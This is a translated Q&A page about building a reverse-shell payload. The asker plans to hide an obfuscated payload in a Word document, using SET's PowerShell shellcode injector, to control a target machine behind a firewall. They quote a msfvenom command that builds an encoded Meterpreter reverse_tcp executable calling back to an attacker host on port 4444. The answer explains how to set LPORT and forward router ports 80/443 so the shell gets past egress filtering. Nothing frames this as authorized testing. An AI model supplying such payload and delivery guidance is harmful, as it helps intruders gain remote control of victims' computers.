web-dev-qa-db-ja.com

LPORTの質問-一部の概念が理解できないようです

難読化されたコードとしてWord文書に挿入するためのペイロードを構築しようとしています。これにより、攻撃されたマシンにリスナーが作成され、いくつかのコマンドを実行できます(ビデオのトーンに示されている.exeファイルを介さない)。

攻撃対象のマシンがファイアウォールの背後にあり、ポート80と443以外の発信トラフィックをブロックしていると想定しています。したがって、攻撃対象のマシンのトラフィックをこれらのポートに転送して、リッスンして実行できるようにします。

私は(Kaliの)SETツールキットを使用しており、「ソーシャルエンジニアリング攻撃」-> powershell攻撃ベクトル->英数字シェルコードインジェクターを選択します。

パブリックIPであるLHOSTを内部IPに転送するように求められます(ルーターの背後にいます)。

次に、LPORTのプロンプトが出され、それだけです。

私の理解はLPORT-ローカルポートです。これは、攻撃されたマシンからのトラフィックを受け入れるポートを意味します。しかし、この場合、攻撃されたマシンの送信ポートをどのように指定できますか?

できれば、メータプリッターのソリューションが欲しいのですが。ペイロードが私に正しく理解されれば、攻撃されたマシン上でコマンドをリッスンして実行する可能性しか開かないので、それがpowershellベクトルまたはその他であるかどうかは気にしません。

SANS Instituteのチートシートで、興味深いコマンドを見つけました。

msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

ここではマルウェアファイルにLPORTが導入されているように見えますが、この場合はまさにそれが必要です。攻撃されたマシンからの発信トラフィック用のポート。

2
Michael

LPORTを2つの異なる値に設定する必要があります。ペイロードのLPORTは、ルーターで転送したポート(外部からアクセスできるポート)である必要があります。エクスプロイトのLPORTは、攻撃マシンがリッスンするポート(ポート4444など)である必要があります。

説明:

ファイアウォールはポート80と443のみを許可するため、ルーターの80または443をポート4444に転送する必要があります。

この説明では、ポート5555をルーターで開いているポートとして、ポート4444を攻撃コンピューターでリッスンするポートとして使用します。ファイアウォールを処理するには、ポート5555の代わりにポート80または443を使用する必要があります。

この攻撃はインターネット経由で行っており、攻撃マシンにポート転送されているため、別のネットワーク上のコンピューターから攻撃マシンにデータを送信できます。次のようになります。

Computer on another network -> Router (port 5555) -> attacking machine (port 4444) 

したがって、ペイロードは別のネットワークから起動されるため、攻撃コンピューターと通信する唯一の方法はポート5555です。

エクスプロイト/ハンドラーは、自分のネットワーク上にある攻撃マシンで実行されています。ポート4444は、ルーターを介して外部コンピューターからポート4444にルーティングされたデータをリッスンしています。このため、エクスプロイト/ハンドラーのLPORTは4444です。

1
Joe